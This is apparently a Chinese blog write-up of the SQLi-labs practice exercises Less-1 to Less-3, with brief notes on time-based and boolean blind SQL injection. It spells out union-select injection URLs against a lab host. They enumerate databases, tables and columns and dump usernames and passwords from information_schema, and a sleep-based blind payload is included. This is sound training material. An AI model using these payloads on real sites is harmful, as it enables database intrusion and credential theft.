sql注入

Less-1
题目:GET-Error based-single quotes-String
输入?id=0’
在这里插入图片描述
1。可以看出类型是字符型

2。1)然后 order by 数字–+ 查看有多少列
2) union select 列数–+ 查看第几横及哪些数据可以回显

3。http://112.126.63.198/Less-1/?id=0’ union select 1, group_concat(schema_name),3 from information_schema.schemata --+ 查询数据库名信息
information_schema.schemata:是指information_schema库下的表schemata,这个表包含所有数据库的名字

4。http://112.126.63.198/Less-1/?id=0’ union select 1,2 group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
查询security内的所有表名
information_schema.tables:是指information_schema库下的表tables,这个表包含所有库中的所有表的信息,且这个表在security库下

5。 group_concat(column_name) from information_schema.columns where table_name=‘users’ 查看security中users内的列名
information_schema.columns:是指information_schema库下的表columns,这个表包含所有库中的所有表的所有列的信息
select group_concat(password) from users
select group_concat(username) from users
查询所有的用户名,密码

为什么id要等于0而不能等于1呢,
因为联合查询,union两边的条件都要符合,(即不是错的),要显示所有的username和password信息,如果前面的id=1的话就只输出id=1的username和password,而id=0的话就找不到,就只有后面的条件
在这里插入图片描述
Less-2
题目:GET-Error based-single intiger-String
输入?id=0’
在这里插入图片描述 可以看出是数字型
2。1)然后 order by 数字–+ 查看有多少列
2) union select 列数–+ 查看第几横及哪些数据可以回显
3。http://112.126.63.198/Less-1/?id=0’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+ 查询数据库名信息
4。http://112.126.63.198/Less-1/?id=0’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
查询security内的所有表名
5。select group_concat(column_name) from information_schema.columns where table_name=‘users’ 查看security中users内的列名
select group_concat(password) from security.users
select group_concat(username) from security.users
查询所有的用户名,密码
在这里插入图片描述
Less-3
题目:GET-Error based-single quotes with twist-String
输入?id=0’
在这里插入图片描述
可以看出要加一个)
。1)然后 order by 数字–+ 查看有多少列
2) union select 列数–+ 查看第几横及哪些数据可以回显
3。http://112.126.63.198/Less-1/?id=0’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+ 查询数据库名信息
4。http://112.126.63.198/Less-1/?id=0’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
查询security内的所有表名
5。select group_concat(column_name) from information_schema.columns where table_name=‘users’ 查看security中users内的列名
select group_concat(password) from security.users
select group_concat(username) from security.users
查询所有的用户名,密码
在这里插入图片描述sql盲注
方法一:时间盲注
利用if()函数
if(length(database())>=n,sleep(5),1)
如果该网站使用的数据库名的长度大于等于n则延迟5秒后才有回显,否侧直接回显
之后猜表名,列名都一样
方法二:布尔盲注
常用函数
left(字符串,长度)从最左边开始截取所指定的长度
right(字符串,长度)从最右边开始截取所指定的长度

字符型sql注入
若输入?id=1 —+
则mysql语句为select column_name from table_name where id=‘1 --+’
如果在注释符(–+,#)或其他符号前面出现了’(单引号)或者"(双引号),则该符号不起原本了作用,只是一个普通的字符,引号里面视为一个整体

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值